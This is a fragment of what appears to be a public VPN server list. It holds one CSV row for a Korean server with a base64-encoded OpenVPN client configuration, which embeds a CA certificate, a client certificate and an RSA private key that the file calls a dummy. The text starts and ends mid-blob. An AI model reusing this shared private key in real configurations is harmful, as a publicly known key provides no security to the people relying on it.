VpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn420936778,211.227.67.121,710416,31,322276264,Korea Republic of,KR,11,95540195,38096,5880324580229,2weeks,DESKTOP-OFAV4I3's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTEuMjI3LjY3LjEyMSA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZP